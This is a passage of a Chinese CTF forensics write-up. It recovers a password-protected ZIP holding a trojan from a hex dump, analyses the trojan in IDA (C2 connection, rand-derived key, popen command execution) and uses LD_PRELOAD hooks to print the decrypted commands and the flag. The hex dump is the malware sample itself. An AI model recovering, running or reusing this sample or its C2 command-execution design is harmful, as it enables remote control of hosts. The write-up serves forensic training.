f18e5b961f0637d5f1cccad010595c7e9d26c0f46f5ab7565c207dcfd89eecacad59f819fa93a4ed7025b035c2c3c42116c455615612bbc05c29540ffeae786afad4417948fffa8723489716aaf2f133c3b34de35e82901e9748046c9367f8ec30153982981a8e0e3ac1e6774dcd7c93219216bcad1a367452bdd5e672df506b185a3181c51cab3d2e6066f68fbea7e7f8a9cf4b9fae41bb0331fc06a1311f02feda19fe6e2b06bc22f700da588677f6d2c4b8e82502198e5113a6c7ed984b82a97e5639e2e2ef3aaf24ba348f33ada85f25ef7523a45918150589fc61b93183f18c99656711a2c75baaa0b9eaceb21b576a1276d3a4f807dabbf51d25d464f6228e93dc1b96a10bf3342ef268b85fbfd816aa9c61180ed7ef55b2d0738a4ddaf76b02b381e8f339030d53d64344772c56a251331eefeee7edd4bb28ad7e6687f724354c45b7266072c2e3da8939bf34fbebfd0de204033088205c4c671584a9979ab628fd2dc4d7ab8d57a25bd9b064018f000fd21b4023ac94736bef5701505e2ea75e0670931a325b296f3447787268ce000a45c43fa79b873828d5c0cfbf8403f0e3ae320d025552f090d6e4460930c35726f97a7d8505ef88dbf3248f3944b9e00e60d77b7537555221a7d8b9f20ceafe369ac7519cdc8fcaad00d63ffd58e624cb1e3a2fde7870faf58e4c25ac3fa548b742749389f3417df80abdd2dd66bebe976f03e3e1cd08a19e2cdd86e3d4bd7230b208ea7b482b226c9f47011cff59a765ab7a1c52b7e62f4b88b080ce688714ea00bcd4c5e603c7a2e73eed1795d8958bc16e9457020585d46c2c210d407caca8925746ba8a9dc67903a86c5e883ecf0a4103b5f742bb7275e60a1ae326349f73c9754fe78e1fa2012c9ffd04a6b6a2019e6aff4e1195441630f1d7b919922ed16fc7a06dd08c7df59c9729af49fd5f325af9712a982c5b2d499e3efd1fdb37d2df4977a0786debc7dee8082406ea3474b840742f53b51ef2c8197a4033ae04f5ee3652e6eeb1c33943e3748f16b12bf20de2c983fb7bee1ad6801e867f3da272364b21653b460effcb781b34119903895b3daf8e0783b9bd27d73d56a2294f428fb532d2330738c2f59948ed049312f238f99a9daf3d38db6afe1b406f608399cd837875828dd8aa44070efcd131f5f976d224e7e7022bdf17e1bebd05e9d98637e27c732dd6a4660cf59b7a9e32aa8e33837919f86b9f60bcb53926c40b7e3134cf95673e7e579ed81991a64d3a2bc9677daf2e7acaa33a50aa4249932545ae4195d8a13683f3460bbc3bbeded28c58d50ce63bdddda4a5d0d894a5c704443c013e53393d887f8407e0332ce41e462d41d7f81ff0fe095f0feb0cb789f40a033356bbb63bd4519cbfd772d85ecb244b6740ef554377d57b9c9f0fdb9ed11e5d72e7e28d66fd34130b70fee6cbd0469cd9927eefb844b2286a45b6023a682621d3672619e57bcce26c0dc39117ac8d04c3b3ec7f639d9379ec5cc0b313ab62bbfe8198b60573fe96c4f4b13196462c39d3bd79b5a152211eca5fce5bc02d15b4d385e5de668c927dd4d0f7c6f0bd9898b9a110571f1d3c98796b9534f0c40327dfc5bb70e0aff89845a12038e31cc63107885582818abf94ec6a9b36655f8e1541e06dccb929b1fc28f2825a13bc13e9ccee304394f3cdfa18179f5aed4059482c889609867fdf0babd73735e583eb4886bb9f4ef71ca57a51f7b70b0e9157ea2fda7dc990879d5ebd240a6c6d2ced45219a56c9ebe334a38d8ebb5ba8b3c46575ca42336153394328d6f454f10a146590422b94b64f291240be27e8d653ff92390dd71302af099e50e1c06b16ab12795d687d30effe49343f90604b7691580acb7e4564f58d31835ea7cf3a505f09fe3c2df6a6a5bc3d311a8bf3f26fe8572828837d821b38cf4fd6f2421a4e496fae5fcb04b9f1ae53991838327822e5ca84976cb70c8ae1da7c2b6ccd65659bda0bda09615e54e952ed46ad9363cbb455db1cd00263f047455c2143517bf48b64b39e279ba576730a2aa84f3f9bced6fc04836500c85b61e8d6e946c3e0fb21299157e26d619e8d623af1597f9d02932ef664a1125800247eb55c820e9f9123f9176bbc66bc23ee91b452621d1e33d43f0cdf20d6e4f1f1f2ae3de204a5284453ac8e383824be409f9f3b0ef7c7ce10e577c360dad017efe5e6e755bb3b1f7a497d3be835a13251942cf828fcb8cb5cb18d19c219a67d16ed6030161c6e1ac828bab5d1599fe9917d69f530ce504b0708e01c1a3483100000f8380000504b01021e031400090008002431955be01c1a3483100000f8380000050018000000000000000000ed81000000007368656c6c555405000354d5476975780b000104000000000400000000504b050600000000010001004b000000d21000000000"
- # 转换并写入文件
- with open("shell.zip", "wb") as f:
- f.write(binascii.unhexlify(hex_data))
- print("提取成功:已保存为 shell.zip")
复制代码 发现解压需要密码,而根据1813流解出来的指令- unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
复制代码 密码就是nf2jd092jd01,解压缩出东西来,然后ida启动,进入到main函数来
首先是木马尝试连接到控制端 IP 192.168.1.201,端口 58782
连接成功后,木马首先调用 sub_18ED 从服务器接收 4 个字节的数据存入 v7
代码对 v7 进行了字节序转换,大端转小端或反之,并将其作为 seed
调用 srand(seed) 初始化随机数生成器,通过循环 for ( i = 0; i > 8) & 0xFF00) | ((v7 24) & 0xFF); printf("
Calculated Seed: 0x%08x\n", seed); // 3. 初始化随机数 (Linux 环境下的 srand) srand(seed); // 4. 生成 16 字节密钥 v8 uint32_t v8[4]; for (int i = 0; i > 24) & 0xFF; // MSB len_buf[1] = (current_len >> 16) & 0xFF; len_buf[2] = (current_len >> 8) & 0xFF; len_buf[3] = current_len & 0xFF; // LSB memcpy(buf, len_buf, 4); recv_step++; return 4; } // 密文(偶数次调用) if (recv_step % 2 == 0) { unsigned char *cipher_bin = (unsigned char *)malloc(current_len); hex_to_bin(DATA[idx], cipher_bin); // 将二进制密文数据复制到缓冲区 memcpy(buf, cipher_bin, current_len); // 释放临时分配的内存 free(cipher_bin); recv_step++; return current_len; } return 0;}[/code]程序解密命令后,会使用 popen() 函数执行解密后的 shell 命令
这是整个攻击链的终点,现在要执行了,我们的目标是在命令执行前将其打印出来,这样就能获取明文内容。
通过 Hook popen() 函数,在它被调用时打印传入的 command 参数,然后返回一个合法的文件指针(指向 /dev/null),让程序以为命令执行成功了- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- int main() {
- // 0x34, 0x95, 0x20, 0x46
- // 在小端序机器上,这 4 个字节组成的 int v7 = 0x46209534
- uint32_t v7 = 0x46209534;
- // 2. 模拟 IDA 中的字节序转换逻辑
- uint32_t seed = ((v7 >> 8) & 0xFF00) |
- ((v7 << 8) & 0xFF0000) |
- (v7 << 24) |
- ((v7 >> 24) & 0xFF);
- printf("[*] Calculated Seed: 0x%08x\n", seed);
- // 3. 初始化随机数 (Linux 环境下的 srand)
- srand(seed);
- // 4. 生成 16 字节密钥 v8
- uint32_t v8[4];
- for (int i = 0; i <= 3; ++i) {
- v8[i] = rand();
- }
- // 5. 按内存顺序输出 hex
- unsigned char *ptr = (unsigned char *)v8;
- printf("flag{");
- for (int i = 0; i < 16; ++i) {
- printf("%02x", ptr[i]);
- }
- printf("}\n");
- return 0;
- }
复制代码 为了让程序稳定运行而不崩溃,还需要处理两个额外的函数
因为在 popen() 中返回的是 /dev/null 的普通文件流,而不是真正的进程管道
当程序后续调用 pclose() 尝试关闭这个假管道时,或者调用 send() 通过无效的 Socket 回传结果时,程序会报错退出
Hook pclose():当程序尝试关闭不存在的管道时,直接返回成功即可
Hook send():当程序尝试通过 Socket 发送数据时,直接返回发送长度,表示发送成功,但不真正执行任何网络操作- 请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
复制代码 所以最终的hook.c代码就是把上述的都拼在一起即可
然后linux环境下执行终端命令- 连接C2服务器 (connect) → 生成加密密钥 (rand × 4) → 接收密文长度 (recv)
- → 接收密文数据 (recv) → 解密命令 (内部解密函数) → 执行命令 (popen)
- → 回传结果 (send)
复制代码 LD_PRELOAD 环境变量告诉动态链接器在加载其他共享库之前先加载指定的库,这样我们 Hook 的函数就会优先于系统的同名函数被调用
学习了学习了,hook的好处就是不需要理解程序内部的加密算法实现,只需要知道加密密钥并控制程序的输入输出流程
7.总结
筛选定位:Wireshark过滤 http contains "keyword",追踪TCP流重组完整会话,异常特征:数据量过大、危险函数调用、多层编码
编码解码:Base64(字符集+4倍数长度)、Hex(0-9A-F)、URL编码,逐层解码到明文
加密分析:找到密钥硬编码位置或协议协商逻辑,实现加解密算法,注意跨平台rand()实现差异
恶意提取:识别PK头(ZIP)、明文脚本,提取还原攻击代码
高级Hook:当加密复杂时,用LD_PRELOAD劫持connect/rand/recv/popen,注入流量数据获取解密命令
更多网安技能的在线实操练习,请点击这里>>
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |